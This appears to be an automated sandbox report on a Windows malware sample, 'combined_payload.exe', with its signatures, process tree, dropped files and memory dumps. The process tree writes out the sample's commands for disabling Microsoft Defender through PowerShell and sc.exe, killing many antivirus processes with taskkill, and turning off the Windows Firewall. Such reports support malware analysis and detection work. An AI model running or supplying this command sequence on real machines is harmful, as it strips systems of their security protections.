Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    57s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/09/2026, 16:30

General

  • Target
    combined_payload.exe
  • Size 1.5MB
  • Sample260930-tz73ds1brf
  • SHA256 cf1aeb5987f56ebbcaf47dd3c2cb56a30d09ca6ecf25da6f1313b3897d37451d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Disables one or more Microsoft Defender components 1 TTPs 5 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 5 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Kills process with taskkill 15 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\combined_payload.exe
    "C:\Users\Admin\AppData\Local\Temp\combined_payload.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3248
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2676
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1412
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4696
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true"
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1424
    • C:\Windows\SYSTEM32\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4128
    • C:\Windows\SYSTEM32\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4316
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im MsMpEng.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:1580
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im MsSense.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:440
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im SenseIR.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:5040
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im SenseNdr.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:1624
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im WdNisSvc.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:3864
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:5044
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im MpCmdRun.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:2052
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im avp.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:664
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im avguard.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:4420
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im bdagent.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:4868
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im egui.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:3840
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im kavfs.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:4628
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im mcshield.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:2152
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im norton.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:5056
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill /f /im sophos.exe 2>nul
      2⤵
      • Kills process with taskkill
      PID:5116
    • C:\Windows\SYSTEM32\netsh.exe
      netsh advfirewall set allprofiles state off
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:3452
    • C:\Windows\SYSTEM32\net.exe
      net stop mpssvc
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop mpssvc
        3⤵
          PID:3448

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 04e3abee01c1053e991b06858069e06ffc9722659cf3d6e024f5d1f34c05a474
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_znssx00y.voi.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_znssx00y.voi.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1412-14-0x0000014FF8CE0000-0x0000014FF8CF0000-memory.dmp

          memory/1412-13-0x0000014FF8CE0000-0x0000014FF8CF0000-memory.dmp

          memory/1424-52-0x000001CA46010000-0x000001CA4622C000-memory.dmp

          memory/2676-0-0x0000018BCA3A0000-0x0000018BCA3B0000-memory.dmp

          memory/2676-2-0x0000018BCA370000-0x0000018BCA392000-memory.dmp

          memory/2676-1-0x0000018BCA3A0000-0x0000018BCA3B0000-memory.dmp

          memory/4696-42-0x0000019A3D4B0000-0x0000019A3D6CC000-memory.dmp